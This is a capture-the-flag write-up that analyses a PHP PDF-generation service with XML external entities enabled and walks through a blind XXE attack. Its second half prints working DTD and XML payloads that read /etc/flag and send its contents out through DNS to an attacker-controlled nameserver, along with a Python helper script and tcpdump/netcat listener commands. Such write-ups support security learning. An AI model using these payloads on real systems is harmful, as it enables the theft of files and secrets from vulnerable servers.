Furthermore, we can download an archive which contains the following files:
The Service allows us to enter arbitrary text, which is then converted into a pdf and returned to us for download. Because we have the service given as source code, we start with it.
The Dockerfile contains some interesting information for further exploitation:
Foremost, it removes all .dtd
and .xml
files present on the system. It even tells us the reason, because it needs to defend against hackers ;).
The second information is the location of the flag.
# ... not relevant ...
# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete
RUN find / -name "*.xml" -type f -delete
# ... not relevant ...
# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag
# ... not relevant ...
This file tells us we can only do outbound DNS connections, and inbounding HTTP connections:
#!/bin/bash
IPT="/sbin/iptables"
# ... not relevant ...
echo "Set default policy to 'DROP'"
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT DROP
## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT
echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED -j ACCEPT
# ... not relevant ...
This is just a helper file to build the container, and we see that the iptables rules are applied.
#!/bin/bash
# build docker
docker build -t babyrecruiter .
# setup firewall
docker run --cap-add=NET_ADMIN -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'
This file contains the PHP application running on the web-server. It receives the content transmitted from the HTML form, writes it into a temporary file, executes /usr/bin/prince
to create the pdf and returns it.
Oh, and there is some debug code that was not commented out, and which does XML handling. What could possibly go wrong…
<?php
$binary = "/usr/bin/prince";
stream_wrapper_unregister("phar");
stream_wrapper_unregister("data");
stream_wrapper_unregister("glob");
stream_wrapper_unregister("compress.zlib");
stream_wrapper_unregister("php");
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
/* create resume using prince */
$content = $_POST['content'];
$filename = md5($_SERVER['REMOTE_ADDR']);
$file = "/tmp/" . $filename . ".html";
$sf = fopen($file, 'w');
fwrite($sf, $content);
fclose($sf);
exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf");
/* debug */
$dom = new DOMDocument();
$dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
/* ... not relevant (commented out debug-code which uses $info) ... */
header('Location: /resumes/' . $filename . '.pdf');
} else { /* ... not relevant (serve title page) ... */ }
So, what programming errors do we spot, which could lead to an exploit?
/usr/bin/prince
with parameters derived from the user.XML external entities, as well as loading of DTD, are a rather common vulnerability, which even got their own entry in the OWASP TOP 10.
From those pieces of information, it seems pretty clear the challenge author wants us to do some sort of XXE attack on the service. We have external entities as well as document type definitions enabled, which gives us read access to the file system. Because there is no further processing of the XML after parsing, we need to do a blind XXE attack.
To extract data from the server there are only two possible points to do so: Either send it back with HTTP, in an inbound connection or send it along with a DNS request as an outbound connection. Only DNS looks promising to do flag extraction, so we will continue with this.
To extract data with DNS, we need to construct an url which contains the file data. For the XXE payload, I took inspiration from the XXE Cheat Sheet published by SecurityIdiots. The example looks like the following:
<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM '%data;.attacker.com'>">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/evil.dtd" > %x; %param1;
]>
<asdf>
<qwerty>&exfil;</qwerty>
</asdf>
It consists of a DTD and an XML file using that DTD. We can tell the XML parser to substitute the entity exfil
with the definition defined in our DTD, which also substitutes the entity data
with the content of /etc/flag
.
Some adjustments need to be done by us to get it working for this service. First, we need to get the DTD onto the server and reference it by our XML. Looking onto the service, we see that the file is uploaded to a known path, which is "/tmp/".md5($_SERVER['REMOTE_ADDR']).".html"
. REMOTE_ADDR
is the public IP of our server, which we can find out, for example, using DuckDuckGo. The file is never removed, so we can access it in the future, as long as it is not overwritten.
Because we need to upload two files, and the file is written to disk before parsing of the XML, we need to execute the attack from two different public IP’s. After placing the DTD on the server, we can upload the XML file from a second system, where we use the known path to our DTD. This should lead the server to parse the XML and a request to our nameserver containing the flag.
It has to be noted, that the DTD in our case will not end with .dtd
, but with .html
as this suffix is appended by the service on creation.
I wrote an interactive script, to help with the attack:
#!/usr/bin/env python3
import hashlib
DNS_URI = "this.is.our.nameserver"
print(f""""* Upload this file from one ip:
---------------------------------------------------------------------------
<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://%data;.{DNS_URI}'>">
---------------------------------------------------------------------------
""")
ip = input(" * Input your public ip from this uploaded: ")
ip_hashed = hashlib.md5(ip.encode()).hexdigest()
print(f""" * Upload this file from a different ip:
---------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/{ip_hashed}.html" > %x; %param1;
]>
<xxe>
<attack>&exfil;</attack>
</xxe>
---------------------------------------------------------------------------
""")
Now we can execute the attack to get our flag using our script and an unlucky ctf college.
To exploit this service, we need to have quite some preparations set-up, compared to other CTF challenges.
Namely, a nameserver which is controlled by us, and where we can log requests. This requires us to have at least access to a nameserver where we can set an NS entry, and a server where we have root access as well as a public IP.
We can skip the point of installing a nameserver on the server. We only need to capture all traffic requesting a DNS resolve by us. To do so, we first need to start a tcpdump process which captures all DNS traffic:
tcpdump -w pwn2win_baby_recruiter.pcap port 53
Furthermore, we will tell netcat to listen for DNS traffic:
nc -lvp 53
Now, the DNS request to our server should be captured for sure.
In my case, I asked a friend to upload the DTD to the game-server and tell me his public IP address in return. This is required to calculate the path of the DTD on the server for the next step:
<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://%data;.this.is.our.nameserver'>">
Using the known location of the DTD, I need to upload this XML file which causes the XML parser to substitute &exfil;
and in succession sending us the flag.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/f528764d624db129b32c21fbca0cb8d6.html" > %x; %param1;
]>
<xxe>
<attack>&exfil;</attack>
</xxe>
We only need to stop tcpdump
, download the file with scp
and open it in Wireshark. Doing so allows us to extract the flag: c0ngr4tz_y0u_w3r3_4ccpt3d